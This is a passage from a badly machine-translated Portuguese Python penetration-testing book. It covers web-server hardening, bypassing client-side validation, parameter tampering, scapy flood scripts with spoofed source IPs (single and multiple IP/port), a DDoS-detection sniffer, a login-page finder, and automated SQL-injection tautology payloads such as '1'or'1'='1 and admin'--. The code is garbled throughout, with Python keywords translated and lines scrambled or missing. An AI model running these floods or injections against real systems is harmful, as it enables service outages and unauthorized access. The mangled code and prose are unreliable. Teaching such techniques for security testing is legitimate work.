Assim, a saída anterior mostra que o servidor é o Microsoft-IIS.6.0, e ASP.NET é o linguagem de programação que está
sendo usado. Temos a mesma informação que recebemos no processo de verificação de cabeçalho. Tente este código
e obter mais algumas informações com diferentes códigos de status.
[115]
Usando o código anterior, você pode preparar coleta de informações de relatórios para si mesmos. Quando eu
aplicar a recolha de informação métodos para websites, eu geralmente encontrar muitos erros feitos pelos
clientes. Na próxima seção, você verá os erros mais comuns encontrados em um servidor web.
Endurecimento de um servidor web

Nesta seção, vamos lançar alguma luz sobre erros comuns observados em um servidor web. Também vamos discutir
alguns pontos para endurecer o servidor web a seguir:
• Sempre ocultar sua assinatura servidor.
• Se possível, definir uma assinatura servidor falso, que pode enganar os atacantes.
• Lidar com os erros.
• Tente esconder as extensões página linguagem de programação porque vai ser difícil para o
atacante para ver a linguagem de programação das aplicações web.
• Atualizar o servidor web com o último patch do fornecedor. Ele evita qualquer possibilidade de exploração
do servidor web. O servidor pode pelo menos ser assegurado para vulnerabilidades conhecidas.
• Não use um patch de terceiros para atualizar o servidor web. Um remendo de terceiros pode conter Trojan,
vírus, e assim por diante.
• Não instale outros aplicativos no servidor web. Se você instalar um sistema operacional como o RHEL ou
Windows, não instale outros softwares desnecessários como o Office ou editores porque eles podem conter
vulnerabilidades.
• Feche todas as portas, exceto 80 e 443.
• Não instale qualquer compilador desnecessários, tais como gcc, no servidor web. Se um atacante comprometer
um servidor web e eles queriam fazer upload de um arquivo executável, os IDS ou IPS pode detectar esse
arquivo. Nesta situação, o atacante vai fazer o upload do arquivo de código (na forma de um arquivo de texto)
no servidor web e executar o arquivo no servidor web. Esta execução pode danificar o servidor web.
• Definir o limite do número de utilizadores activos, a fim de evitar um ataque DDOS.
• Ativar o firewall no servidor web. O firewall faz muitas coisas como fechar a porta, filtrando o tráfego,
e assim por diante.
[116]
capítulo 5
Resumo
Neste capítulo, nós aprendemos a importância de uma assinatura servidor web, e obter a assinatura do
servidor é o primeiro passo em hacking. Abraham Lincoln disse uma vez:
"Dê-me seis horas para derrubar uma árvore e eu vou passar os quatro primeiros afiar o machado."
A mesma coisa se aplica no nosso caso. Antes do início de um ataque a um servidor web, é melhor verificar exatamente
quais serviços estão sendo executados nele. Isto é feito através de impressão pé do servidor web. técnicas de tratamento de
erros são um processo passivo. verificação de cabeçalho e bandeira agarrando são processos ativos para reunir
informações sobre o servidor web. Neste capítulo, nós também aprendemos sobre o analisador BeautifulSoup. Secções tais
como hiperligações, etiquetas, identificações, e assim por diante pode ser obtido a partir de BeautifulSoup. Na última seção,
você já viu algumas orientações sobre o endurecimento de um servidor web. Se você seguir essas orientações, você pode
fazer o seu servidor web difícil de atacar. No próximo capítulo, você vai aprender a validação do lado do cliente e o
parâmetro de têmpera. Você vai aprender como gerar e detectar ataques DoS e DDoS.
[117]
Do lado do cliente e ataques DDoS
No capítulo anterior, você aprendeu como analisar uma página web, bem como a forma de recolher informações
específicas de uma página HTML. Neste capítulo, vamos percorrer os seguintes tópicos:
• Validação em uma página da web
• Tipos de validação
• Os testes de penetração de validações
• Os ataques DoS
• ataques DDoS
• Detecção de DDoS
Apresentando a validação do lado do cliente

Muitas vezes, quando você acessa uma página web no seu navegador web, você abre um formulário, preencher o
formulário e enviá-lo. Durante o enchimento da forma, alguns campos terão limitações, tais como o nome de
utilizador, o qual deve ser único; e a senha, que deve ser maior que 8 caracteres, e esses campos não deve estar
vazio. Para isso, são utilizados dois tipos de validações, que estão do lado do cliente e do lado do servidor
validações. Linguagens como PHP e ASP.NET usar a validação do lado do servidor, tendo o parâmetro de entrada e
combinando-o com o banco de dados do servidor.
Na validação do lado do cliente, a validação é feita no lado do cliente. JavaScript é usado para a validação do lado do
cliente. Uma resposta rápida e fácil implementação fazer a validação do lado do cliente benéfica até certo ponto. No
entanto, o uso frequente de validação do lado do cliente dá atacantes uma maneira fácil de atacar; validação do lado do
servidor é mais seguro do que a validação do lado do cliente. Os usuários normais pode ver o que está acontecendo em
um navegador web. Mas um hacker pode ver o que pode ser feito fora do navegador da web. A imagem a seguir ilustra
client-side e validação do lado do servidor:
PHP desempenha um papel de camada média. Ele se conecta a página HTML para o SQL Server.
A adulteração com o parâmetro do lado do cliente com o

Python
Os dois métodos mais geralmente utilizados, POST e GET, são utilizados para transmitir os parâmetros do
protocolo HTTP. Se o site usa o método GET, sua passagem de parâmetros é mostrado na URL, e você pode
mudar este parâmetro e passá-lo para um servidor web; isto é, em contraste com o método POST, onde os
parâmetros não são mostrados na URL.
[120]
Capítulo 6
Nesta seção, vamos usar um site fictício com código JavaScript simples, juntamente com os parâmetros passados
pelo método POST e hospedados no servidor web Apache. Vamos olhar para o index.php código:
<Html>
<Fundo body = "wel.jpg">
<H1> Deixe o seu comentário </ h1> <br>
<Form Name = "sample" action = "submit.php" onsubmit = "return

validateForm ()" method = "POST">
<Table-cellpadding = "3" cellspacing = "4" border = "0">

<Tr>
<Td> <font size = 4> <b> Nome: </ b> </ font> </ td> <td> <input type = "text"
name = linhas "nome" = "10" cols =" 50" /> </ td> </ tr> <br>
<Tr valign = "top"> <th scope = "row" <p class = "req">

<B> <font size = 4> Comentários </ font> </ b> </ p> </ th> <td> <textarea class =
"FORMTEXT" tabindex = nome "4" = "comentar" linhas = "10 "cols =" 50" > </ textarea>
</ td> </ tr>
<Tr>
<Td> <input type = "Enviar" name = "submit" value = "Submit" /> </ td> </ tr> </ table> </ form>
<br>
<Font size = 4> <a href="dis.php"> comentários Old </a> <SCRIPT LANGUAGE =
"JavaScript">
<! - Ocultar código de navegadores não-js
funcionar validateForm () {
formObj = document.sample;
[121]
if ((formObj.name.value.length <1) || (formObj.name.value ==

"HACKER")) {
alert ( "Digite seu nome"); return false; }
if (formObj.comment.value.length <1) {
alert ( "Insira seu comentário."); return false; }}
// esconderijo final ->
</ SCRIPT> </

body> </ html>
Espero que você possa entender o HTML, JavaScript e código PHP. O código anterior mostra uma forma de
amostra, o qual compreende dois campos a apresentar texto, o nome e comentário:
if ((formObj.name.value.length <1) || (formObj.name.value == "HACKER")) {
alert ( "Digite seu nome"); return false; }
if (formObj.comment.value.length <1) {
alert ( "Insira seu comentário."); return false; }
O código anterior mostra validação. Se o campo nome está vazio ou cheio como HACKER,
em seguida, ele exibe uma caixa de alerta, e se o campo de comentário está vazio, ele irá mostrar uma mensagem de alerta,
onde você pode digitar o seu comentário, como mostrado na imagem seguinte:
[122]
Capítulo 6
caixa de alerta de validação
Assim, o nosso desafio aqui é para ignorar a validação e enviar o formulário. Você pode ter feito isso
anteriormente usando a suíte arroto. Agora, vamos fazer isso usando Python. No capítulo anterior, você viu a
ferramenta BeautifulSoup; agora eu vou usar um navegador Python chamada mecanizar. O navegador
mecanizar web oferece a facilidade para obter formas em uma página web e também facilita a apresentação de
valores de entrada. Usando mecanizar, vamos ignorar a validação, como mostra o seguinte código:
importação mecanizar br = mechanize.Browser ()

br.set_handle_robots (Falso) url = raw_input (
"Enter URL") br.set_handle_equiv Br (True)
br.set_handle_gzip (True) br.set_handle_redirect
(True) br.set_handle_referer (True).
set_handle_robots (Falso) br.open (url)
para a forma em br.forms ():

formulário de impressão
[123]
Todos os nossos trechos de código começar com uma importar declaração. Então, aqui, estamos a importar o
mecanizar módulo. A linha seguinte cria um br objecto da mecanizar classe. o url = raw_input ( "Enter URL") declaração
pede a entrada do usuário. Os próximos cinco linhas representam a opção de navegador que ajuda no
redirecionamento e robots.txt manipulação. o br.open (url) declaração abre o URL dado por nós. As próximas
impressões Declaração forma nas páginas web. Agora, vamos verificar a saída do paratemp.py programa:
A saída do programa mostra que dois valores de nome estão presentes. O primeiro é nome
e a segunda é comente, que será passado para a página de ação. Mas nós não recebemos os
parâmetros. Vamos ver o resto do código:
br.select_form (nr = 0) br.form [ 'name'] =

'hacker' br.form [ 'comentário'] = '' br.submit
()
A primeira linha é utilizada para seleccionar a forma. Em nosso site, apenas uma forma está presente. o br.form
[ 'name'] = 'hacker' declaração enche o valor HACKER no campo do nome, a próxima linha enche o comentário
vazio, ea última linha submete os valores. Agora, vamos ver a saída de ambos os lados. A saída do código é
como se segue:
envio do formulário
[124]
Capítulo 6
A saída do site é mostrado na imagem seguinte:
desvio de validação
A imagem anterior mostra que ele tem sido bem sucedida.
Agora, você deve ter conseguido uma boa idéia de como contornar as validações. Geralmente, as pessoas pensam que
os parâmetros enviados pelo método POST são seguros. No entanto, no experimento anterior, você viu que ele é seguro
para usuários normais em uma rede interna. Se o site é utilizado apenas por usuários internos, em seguida, a validação
do lado do cliente uma boa escolha. No entanto, se você usar a validação do lado do cliente para sites de comércio
eletrônico, então você está apenas convidando atacantes para explorar seu site. No tópico seguinte, você verá alguns
efeitos nocivos de validação do lado do cliente no negócio.
Efeitos do parâmetro adulteração em negócios
Como pentester, muitas vezes você vai ter que analisar o código-fonte. Estes dias, o mundo do e-commerce está
crescendo rapidamente. Considere um exemplo de um site de e-commerce, como mostrado na imagem a seguir:
Exemplo de um website
[125]
A imagem anterior mostra que o preço de um Nokia C7 é 60 e o preço de um iPhone 3G é 600. Você não sabe
se esses preços veio do banco de dados ou está escrito na página da web. A imagem seguinte mostra o preço
de ambos os celulares:
código de exibição da fonte
Agora, vamos olhar para o código-fonte, como mostrado na imagem seguinte:
Olhe para as caixas retangulares na imagem anterior. O preço 60 está escrito na página da web, mas o preço
de 600 é retirado do banco de dados. O preço 60 pode ser alterada pelo URL adulteração se o método GET é
usado. O preço pode ser alterado para 6 em vez de 60. Isso vai mal impactar o negócio. Em testes
caixa-branca, o cliente dá-lhe o código-fonte, e você pode analisar esse código, mas no teste de caixa-preta,
você tem que realizar o teste usando ataques. Se o método POST é usado, você pode usar o Mozilla add-on
Tamper Data ( https://addons.mozilla.org/ en-US / firefox / complemento / violao dados /) para o parâmetro adulteração.
Você tem que fazê-lo manualmente assim, não há necessidade de usar a programação Python.
[126]
Capítulo 6
Apresentando DoS e DDoS

Nesta seção, vamos discutir um dos ataques mais mortais, chamou o ataque de negação de serviço. O objetivo
deste ataque é consumir máquina ou recursos de rede, tornando-o indisponível para os usuários pretendidos.
Geralmente, os atacantes usam esse ataque quando todos os outros ataque falha. Este ataque pode ser realizado
no enlace de dados, rede, ou camada de aplicação. Normalmente, um servidor web é o alvo para hackers. Em um
ataque DoS, o atacante envia um grande número de pedidos para o servidor web, com o objetivo de consumir
largura de banda de rede e memória da máquina. Em um Negação de serviço distribuída (DDoS) ataque, o
atacante envia um grande número de pedidos de diferentes IPs. A fim de realizar DDoS, o atacante pode usar
Trojans ou IP spoofing. Nesta seção, vamos realizar várias experiências para completar nossos relatórios.
única porta IP único

Neste ataque, enviamos um grande número de pacotes para o servidor web usando um único IP (que pode ser
falsificado) e a partir de um único número de porta de origem. Este é um nível muito baixo de ataque DoS, e isso vai
testar a capacidade de manipulação de pedido do servidor web. O seguinte é o código de sisp.py:
src = raw_input ( "Digite o IP de origem ") target = raw_input (" Digite o IP de destino
") srcport = int (raw_input (" Enter a porta de origem")) i = 1
while True:
IP1 = IP (src = src, dst = alvo) TCP1 = TCP (sport = srcport,
dport = 80) pkt = IP1 / TCP1 enviar (PKT, inter = 0,001)
"pacote enviado" print, ii = i + 1
Eu tenho usado scapy para escrever este código, e eu espero que você esteja familiarizado com isso. O
código anterior pede três coisas, o endereço IP de origem, endereço IP de destino, eo endereço da porta de
origem.
[127]
Vamos verificar a saída na máquina do atacante:
IP único com uma única porta
Eu tenho usado um IP falsificado, a fim de esconder a minha identidade. Você terá que enviar um grande número de pacotes
para verificar o comportamento do servidor web. Durante o ataque, tentar abrir um site hospedado em um servidor web.
Independentemente de saber se ele funciona ou não, escrever seus resultados dos relatórios. Vamos verificar a saída no lado
do servidor:
saída Wireshark no servidor
Este resultado mostra que o nosso pacote foi enviado com sucesso para o servidor. Repetir este programa, com
diferentes números de sequência.
[128]
Capítulo 6
porta múltipla IP único

Agora, neste ataque, usamos um único endereço IP, mas várias portas. Aqui, eu ter
escrito o código do simp.py programa:
src = raw_input ( "Digite o IP de origem ") target = raw_input (" Digite o

IP de destino")
i=1
while True:
para srcport na gama (1,65535):
dport = 80) pkt = IP1 / TCP1 enviar (PKT, inter = 0,0001)
"pacote enviado" print, ii = i + 1
Eu usei o para loop para os portos Vamos verificar a saída do atacante:
Pacotes de máquina do atacante
[129]
A tela acima mostra que o pacote foi enviado com sucesso. Agora, verifique a saída na máquina de destino:
Os pacotes que aparecem na máquina alvo
Na imagem anterior, a caixa rectangular mostra os números de porta. Vou deixar para você para criar IP
múltiplos com uma única porta.
porta múltipla IP múltiplos

Nesta seção, vamos discutir o IP múltiplos com múltiplos portos. Neste ataque, usamos diferentes IPs para
enviar o pacote para o destino. Vários IPs denotar IPs falsos. O programa a seguir irá enviar um grande
número de pacotes a partir de IPs falsos:
importação aleatória
target = raw_input ( "Digite o IP de destino")
i=1
while True:
a = str (random.randint (1254)) b = (str
random.randint (1254)) c = str (random.randint
(1254)) d = str (random.randint (1254)) dot = ""
src = a + b + + dot dot + c + d + cópia do ponto

src
r = random.randint (1,1000) en = random.randint
(1000,65535) loop_break = 0
para srcport na faixa de (r, en):

dport = 80)
[130]
Capítulo 6
pkt = IP1 / TCP1 enviar (PKT, inter =

0,0001) print "pacote enviado", i
loop_break = loop_break + 1 i = i + 1
se loop_break == 50:
pausa
No código anterior, foi utilizado o uma, b, c, e d variáveis para armazenar quatro cadeias aleatórias, que varia
de 1 a 254. A src variável armazena endereços IP aleatórios. Aqui, usamos o loop_break variável para quebrar
o para ciclo depois de 50 pacotes. Significa 50 pacotes provenientes de um IP, enquanto o resto do código é
o mesmo que o anterior. Vamos verificar a saída do mimp.py programa:
IP múltipla com várias portas
Na imagem anterior, você pode ver que depois do pacote 50, os endereços IP se mudou.
[131]
Vamos verificar a saída na máquina de destino:
A produção da máquina de destino no Wireshark
Use várias máquinas e executar este código. Na imagem anterior, você pode ver que a máquina responde ao IP
de origem. Este tipo de ataque é muito difícil de detectar porque é muito difícil distinguir se os pacotes são
provenientes de um host válido ou uma série falsificado.
Detecção de DDoS
Quando eu estava perseguindo meus Mestres do curso de Engenharia, meu amigo e eu estávamos trabalhando em um ataque
DDoS. Este é um ataque muito sério e difícil de detectar, onde é quase impossível adivinhar se o tráfego é proveniente de um
falso host ou um verdadeiro host. Em um ataque de negação de serviço, o tráfego vem de uma única fonte para que possamos
bloquear dessa máquina em particular. Com base em determinados pressupostos, podemos fazer regras para detectar ataques
DDoS. Se o servidor web está sendo executado apenas o tráfego contendo a porta 80, deve ser permitido. Agora, vamos passar
por um código muito simples para detectar um ataque DDoS. O nome do programa é DDOS_detect1.py:
importação struct tomada

de importação
de data e hora de data e hora de importação
s = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, 8) Dict = {}
file_txt = open ( "dos.txt", 'a') file_txt.writelines (

"**********") T1 = str (DateTime.Now ()) file_txt.writelines
(T1) file_txt.writelines ( "**********") file_txt.writelines ( "\
n") print "Iniciar detecção ......." D_val = 10 D_val1 =
D_val + 10 while True:
[132]
Capítulo 6
PKT = s.recvfrom (2048) ipheader = PKT

[0] [14:34]
ip_hdr = struct.unpack (, ipheader "8sB3s4s4s!") IP = socket.inet_ntoa
(ip_hdr [3]) print "IP de origem", IP se dict.has_key (IP):
dict [IP] = dict [IP] +1 impressão

dict [IP]
if (dict [IP]> D_val) e (dict [IP] <D_val1):
linha = "DDOS detectados"

file_txt.writelines (linha) file_txt.writelines
file_txt.writelines (IP) ( "\ n")
outra coisa: dict [IP]

=1
Dentro Capítulo 3, Sniffing e Teste de Invasão, você aprendeu sobre um sniffer. No código anterior, foi utilizado um
sniffer para obter o endereço IP de origem do pacote. o file_txt = open ( "dos.txt", 'a') declaração abre um arquivo em
modo de adição, e este dos. TXT arquivo é usado como um arquivo de log para detectar o ataque DDoS. Sempre
que o programa é executado, o file_txt.writelines (t1) declaração escreve a hora atual. o D_val = 10
variável é uma suposição apenas para a demonstração do programa. A suposição é feita através da
visualização das estatísticas de acessos a partir de um IP particular. Considere-se um caso de um site tutorial.
Os hits da faculdade e IP da escola seria mais. Se um grande número de solicitações vêm de um novo IP, então
ele pode ser um caso de negação de serviço. Se a contagem dos pacotes de entrada de um IP excede o D_val variável,
então o IP é considerado responsável por um ataque DDoS. o D_val1 variável será usada mais tarde no código
para evitar redundância. Eu espero que você esteja familiarizado com o código antes da se dict.has_key (IP): declaração.
Esta declaração irá verificar se a chave (endereço IP) existe no dicionário ou não. Se a chave existe no dict, então
o dict [IP] = dict [IP] +1 declaração aumenta a dict [IP] valor por 1, o que significa que dict [IP] contém uma contagem
de pacotes que vêm de um IP particular. o if (dict [IP]> D_val) e (dict [IP] <D_val1): declarações são os critérios para
detectar e escrever resultados na dos.txt Arquivo; if (dict [IP]> D_val) detecta se a contagem do pacote de entrada
excede o D_val valorizar ou não. Se ultrapassar isso, as declarações posteriores vai escrever o IP em dos.txt depois
de obter novos pacotes. Para evitar a redundância, o ( dict [IP] <D_val1) declaração tem sido utilizado. As
próximas declarações vai escrever os resultados na dos.txt Arquivo. Executar o programa em um servidor e
executar mimp.py na máquina do atacante.
[133]
A figura abaixo mostra o dos.txt Arquivo. Olhe para esse arquivo. Ele escreve um único IP 9 vezes como
mencionamos D_val1 = D_val + 10. Você pode alterar a D_val valor para definir o número de solicitações feitas por
um determinado IP. Estes dependem das velhas estatísticas do site. Espero que o código anterior será útil para
fins de investigação.
Detectar um ataque DDoS
Se você é um pesquisador de segurança, o programa anterior deve ser útil. É

possível modificar o código de modo a que apenas o pacote que contém a porta 80
irá ser permitido.
Resumo
Neste capítulo, nós aprendemos sobre a validação do lado do cliente, bem como a forma de contornar a validação
do lado do cliente. Nós também aprendemos em que a validação situações do lado do cliente é uma boa escolha.
Temos passado por como usar Python para preencher um formulário e enviar o parâmetro onde o método GET tem
sido utilizado. Como um testador de penetração, você deve saber como parâmetro adulteração afeta um negócio.
Quatro tipos de ataques DoS foram apresentados neste capítulo. Um único ataque IP cai na categoria de um
ataque DoS, e um ataque IP múltipla cai na categoria de um ataque DDoS. Esta seção é útil não só para uma
pentester mas também para os investigadores. Aproveitando Python scripts de detecção de DDoS, você pode
modificar o código e criar um código maior, o que pode desencadear ações para controlar ou mitigar o ataque
DDoS no servidor. No próximo capítulo, Cross-Site Scripting ataques ( XSS). Você vai aprender a tirar vantagens do
Python para realizar testes de injeção de SQL. Você também vai aprender como automatizar um ataque XSS
usando scripts Python.
[134]
Pentesting de SQLI e XSS
Neste capítulo, vamos discutir alguns ataques graves em uma aplicação web. Você deve ter ouvido falar sobre incidentes
como roubo de dados, a quebra de nomes de usuários e senhas, a desfiguração de sites, e assim por diante, que são
conhecidos por ocorrer principalmente devido às vulnerabilidades que existem em aplicações web, tais como injeção de SQL
e ataques XSS . Dentro Capítulo 5, Pé de impressão de um servidor web e um aplicativo da Web, você aprendeu a ver qual
software de banco de dados está sendo usado e qual sistema operacional está sendo executado no servidor web. Agora
vamos continuar com nossos ataques, um por um. Neste capítulo, vamos abordar os seguintes tópicos:
• O ataque injecção SQL
• Tipos de ataques de injeção SQL
• Um ataque de injeção SQL por script Python
• Um ataque de scripts entre sites
• Tipos de XSS
• Um ataque XSS por script Python

Introduzindo o ataque injecção SQL

injeção SQL é uma técnica, ou você poderia dizer, uma técnica especializada, que é usado para roubar dados,
aproveitando uma vulnerabilidade de entrada não validadas. O método pelo qual uma aplicação web obras podem
ser vistas na figura a seguir:
do lado do cliente Forma de login Internet firewall
Mesa Base de dados Aplicação web Servidor web
SELECT COUNT (*) FROM cruz onde User = 'admin' e passar = 'ad12345'
O método pelo qual um aplicativo funciona web
Se a nossa consulta não foram validados, então ele iria para o banco de dados para a execução, e pode, em seguida,
revelar dados sensíveis ou excluir dados. Como sites baseados em dados de trabalho é mostrado na figura anterior.
Nesta figura, é-nos mostrado que o cliente abre a página web em um computador local. O anfitrião é conectado a um
servidor web pela Internet. A figura anterior mostra claramente o método pelo qual a aplicação Web interage com a
base de dados de um servidor da web.
Tipos de injeções de SQL

ataques de injeção SQL podem ser classificados em dois tipos seguintes:
• injeção de SQL simples
• injeção de SQL cego
[136]
Capítulo 7
injeção de SQL simples

Um ataque de injecção SQL simples contém tautologia. Em tautologia, declarações injetáveis são sempre verdade. A
instrução select união retorna a união dos dados pretendidos com os dados segmentados. Vamos olhar para
injeção de SQL em detalhes na seção seguinte.
injeção de SQL cego

Neste ataque, o atacante aproveita as mensagens de erro geradas pelo servidor de banco de dados após a realização
de um ataque de injeção SQL. O atacante recolhe dados, pedindo uma série de perguntas de verdadeiro ou falso.
Compreender o ataque de injeção SQL por um

script Python
Todos os ataques de injeção SQL pode ser realizada manualmente. No entanto, você pode usar a programação
Python para automatizar o ataque. Se você é um bom pentester e saber como realizar ataques manualmente, então
você pode fazer o seu próprio programa de verificar isso. A fim de obter o nome de usuário ea senha de um website,
temos de ter o URL da página do console de administração ou login. O cliente não fornece o link para a página do
console de administração no site.
Aqui, o Google não fornecer a página de login para um site particular. Nosso primeiro passo é encontrar a página do
console de administração. Lembrei-me de que, anos atrás, eu usei o URL
http://192.168.0.4/login.php, http://192.168.0.4/login.html. Agora, os desenvolvedores web tornaram-se inteligente, e eles
usam nomes diferentes para esconder a página de login. Considere que eu tenho mais de 300 ligações para tentar.
Se eu experimentá-lo manualmente, levaria cerca de 1 a 2 dias para obter a página web.
[137]
Vamos dar uma olhada em um pequeno programa, login1.py, para encontrar a página de login para sites PHP:
importar httplib
importação prateleira # para armazenar nome páginas de login url =
raw_input ( "Enter a URL completa ") url1 = url.replace (" http: //", "")
url2 = url1.replace ( "/", "")
s = shelve.open ( "mohit.raj", write-back = True)
para u em [ 'php'] s:
a = "/"
url_n = url2 + a + u url_n
impressão
http_r = httplib.HTTPConnection (url2) u = a + u
http_r.request ( "GET", u) responder =

http_r.getresponse ()
se reply.status == 200:
print "\ n URL encontrado ----", url_n ch = raw_input ( "Press c para
continuar:") se ch == "c" ou ch == "C":
continuar o
resto:
pausa
s.close ()
Para uma melhor compreensão, suponha que o código anterior é uma pistola vazia. o mohit.raj arquivo é
como a revista de uma pistola, e data_handle.py é como uma máquina que pode ser usado para colocar
balas na revista. Eu escrevi este código para um site orientado a PHP. Aqui, eu importados httplib e
arquivar. o url variável armazena a URL do site digitado pelo usuário. o url2
variável armazena apenas o nome de domínio ou endereço IP. o s = shelve.open ( "mohit. raj", write-back = True) declaração
abre a mohit.raj arquivo que contém uma lista dos nomes de página de login esperava que eu entraram (a página de
login esperada) no arquivo, com base na minha experiência. o [ 'Php'] s variável significa que php é o nome da chave
da lista, e
[ 'Php'] s é a lista salva no arquivo de prateleira ( mohit.raj) usando o nome de ' php'. o
para laço extrai os nomes de página de login, um por um, e url_n = url2 + a + u mostrará o URL para o teste. A HttpConnection
instância representa uma transação com um servidor HTTP. o http_r = httplib.HTTPConnection (url2) declaração só
precisa do nome de domínio; é por isso que apenas o url2 variável foi passado como um argumento e, por
padrão, ele usa a porta 80 e armazena o resultado na http_r variável. o
http_r.request ( "GET", u) declaração faz a solicitação de rede, ea http_r. getresponse () declaração extrai a
resposta.
[138]
Capítulo 7
Se o código de retorno é 200, isso significa que fomos bem sucedidos. Ele irá imprimir o URL atual. Se, após esse primeiro
sucesso, você ainda quer encontrar mais páginas, você pode pressionar o C chave.
Você pode estar se perguntando por que eu usei o httplib biblioteca e não o urllib biblioteca. Se
estiver, então você está pensando ao longo das linhas certas. Na verdade, o que acontece é que
muitos sites usam o redirecionamento para o tratamento de erros. o urllib biblioteca suporta o
redirecionamento, mas
httplib não suporta o redirecionamento. Considere que quando nós batemos um URL que
não existe, o site (que tem tratamento de erros personalizada) redireciona a solicitação
para outra página que contém uma mensagem como Página não encontrada ou a página
não existente,
isto é, uma página 404 personalizada. Neste caso, o código de status HTTP de retorno é 200. Em
nosso código, usamos httplib; este não suporta o redirecionamento, então o código de status
HTTP retorno, 200, não irá produzir.
A fim de gerir o mohit.raj arquivo de banco de dados, eu fiz um programa Python,

data_handler.py.
Agora é hora de ver o resultado na imagem seguinte:
O programa login.py mostrando a página de login
[139]
Aqui, as páginas de login são http://192.168.0.6/admin e http://192.168.0.6/admin/ index.php.
Vamos verificar o data_handler.py Arquivo. Agora, vamos
escrever o código da seguinte forma:
def create ():
imprimir "Isso só para uma chave" s = shelve.open ( "mohit.raj",
write-back = True) s [ 'php'] = []
update def ():

s = shelve.open ( "mohit.raj", write-back = True) val1 = int (raw_input ( "Entre o número de
valores"))
para x no intervalo (val1):

val = raw_input ( "\ n Insira o valor \ t") (s [ 'php']). append (val)
s.sync ()
s.close ()
def recuperar ():

r = shelve.open ( "mohit.raj", write-back = True) para a chave no r:
print "*" * 20 Imprimir

r tecla [chave]
imprimir "Número Total", len (r [ 'php'])

r.Close ()
while (True):
print "Press"
print "C para criar, \ t U para Update, \ t R para recuperar" print "E para a saída" print "*" * 40
c = raw_input ( "Enter \ t") if (c == 'C' ou c

== 'c'):
crio()
[140]
Capítulo 7
elif (c == 'U' ou c == 'u'):

atualizar()
elif (c == 'R' ou C == 'r'):

recuperar()
elif (c == 'E' ou c == 'e'):

exit ()
else:
Eu espero que você lembre-se o programa de scanner de porta em que foi utilizado um arquivo de banco de dados que
armazenou o número da porta com a descrição da porta. Aqui, uma lista com o nome php é utilizado e a saída pode ser visto na
imagem seguinte:
Mostrando mohit.raj por data_handler.py
O programa anterior é para PHP. Nós também podemos fazer programas para diferentes linguagens de servidor web
como ASP.NET.
Agora, é hora de executar um ataque de injeção SQL que se baseia tautologia. injeção de SQL baseada em
tautologia é normalmente usado para ignorar a autenticação do usuário. Por exemplo, suponha que o banco
de dados contém nomes de usuários e senhas. Neste caso, o código web de programação de aplicações
seria a seguinte:
$ Sql = "SELECT COUNT (*) FROM cros Onde (user =" $ uname "e passar =" $ passar.... ")";
[141]
Os US $ uname variável armazena o nome de usuário, e os US $ passar variável armazena a senha. Se um usuário digita
um nome de usuário e senha válidos, em seguida, contagem(*) conterá um registro. E se COUNT (*)> 0, em seguida, o
usuário pode acessar a sua conta. Se um atacante entra Um" ou "um"=" 1 nos campos de nome de usuário e senha, em
seguida, a consulta será a seguinte:
$ Sql = "SELECT COUNT (*) FROM cros onde (User =" 1" ou "1" = "1". E passagem = "1" ou "1" = "1") ";.
o Do utilizador e Passar campos permanecerá verdade, e a contagem(*) campo se tornará automaticamente COUNT (*)> 0.
Vamos escrever a sql_form6.py código e analisá-lo linha por linha:
importação re importação
mecanizar
br = mechanize.Browser () br.set_handle_robots
(False) url = raw_input ( "Enter URL")
br.set_handle_equiv (True) br.set_handle_gzip
(True) br.set_handle_redirect (True)
br.set_handle_referer (True) br.set_handle_robots
( false) br.open (url)

forma de impressão
br.select_form (nr = 0)
pass_exp = [ "1'or'1 '=' 1", "um" ou "um" = "1' ]
user1 = raw_input ( "Entre o nome de usuário ") pass1 = raw_input

(" Enter a Password")
bandeira = 0 p
=0
br.select_form (nr = 0) br.form [usuario1] =

'admin' br.form [pass1] = pass_exp [p] br.submit
() = dados ""
para ligação em br.links ():

Dados = dados + str (ligação)
[142]
Capítulo 7
lista = [ 'Sair', 'fim de sessão', 'signout', 'signoff'] dados1 = data.lower ()
para l na lista:
para o jogo em re.findall (l, data1):
bandeira = 1, se
a bandeira == 1:
print "t Sucesso \ in", p + 1, "tentativas" print "bem sucedido hit ->",
pass_exp [p]
elif (p + 1 == len (pass_exp)):

imprimir "Todos os exploits over" flag = 1
coisa:
p=p+1
Você deve ser capaz de entender o programa até o para ciclo. o pass_exp
variável representa a lista que contém os ataques de senha com base em tautologia. o user1 e pass1 variáveis
pedir que o usuário digite o nome de usuário e campo de senha, como mostrado pela forma. o bandeira = 0 variável
faz com que o enquanto laço continuar, e a p inicializa como variável 0. Dentro de enquanto ciclo, que é a forma
br.select_ (nr = 0) declaração, selecione o formulário HTML um. Na verdade, esse código é baseado na
suposição de que, quando você vai para a tela de login, ele irá conter o nome de usuário de login e campos de
senha no primeiro formulário HTML. o br.form [user1] = 'admin' declaração armazena o nome de usuário; na
verdade, eu usei-o para tornar o código simples e compreensível. o br.form [pass1] = pass_exp [p] declaração
mostra o elemento da pass_exp lista passando para br.form [pass1]. Em seguida, o para seção circuito converte a
saída para o formato string. Como sabemos se a senha foi aceito com sucesso? Você viu que, após se
autenticar com sucesso para a página, você encontrará um logout ou sair opção na página. I armazenada
diferentes combinações do Sair e assinar as opções em uma lista com o nome Lista. o dados 1 = data.lower ()
declaração muda todos os dados para minúsculas. Isto tornará mais fácil encontrar o logoff ou sair termos nos
dados. Agora, vamos olhar o código:
para l na lista:
bandeira = 1
[143]
A peça de código anterior vai encontrar qualquer valor do Lista dentro data1. Se for encontrada uma correspondência, em seguida, bandeira torna-se
1; isso vai quebrar o enquanto ciclo. Em seguida, o se o sinalizador == 1
declaração irá mostrar tentativas bem sucedidas. Vamos olhar para a próxima linha de código:
elif (p + 1 == len (pass_exp)):

A peça de código anterior mostra que, se todos os valores da pass_exp lista são mais, então o enquanto ciclo irá
quebrar.
Agora, vamos verificar a saída do código na imagem seguinte:
Um ataque de injecção SQL
A imagem anterior mostra a saída do código. Este é um código muito básico para limpar a lógica do
programa. Agora, eu quero que você modificar o código e fazer novo código no qual você pode fornecer
valores de lista para a senha, bem como para o nome de usuário.
Podemos escrever código diferente ( sql_form7.py) para o nome de usuário que contenha
user_exp = [ 'admin "-', "admin' -", 'admin" #', "admin' #"]
e preencher nada no campo de senha. A lógica por trás dessa lista é que, após as cordas de administração - ou
# make comentar o resto da linha é na instrução SQL:
importação re importação
mecanizar
(Falso) url = raw_input ( "Enter URL")
(True) br.set_handle_redirect (True)
br.set_handle_referer (True)
[144]
Capítulo 7
br.set_handle_robots (Falso) br.open (url)

form = raw_input ( "Digite o nome do formulário") br.select_form

(name = forma)
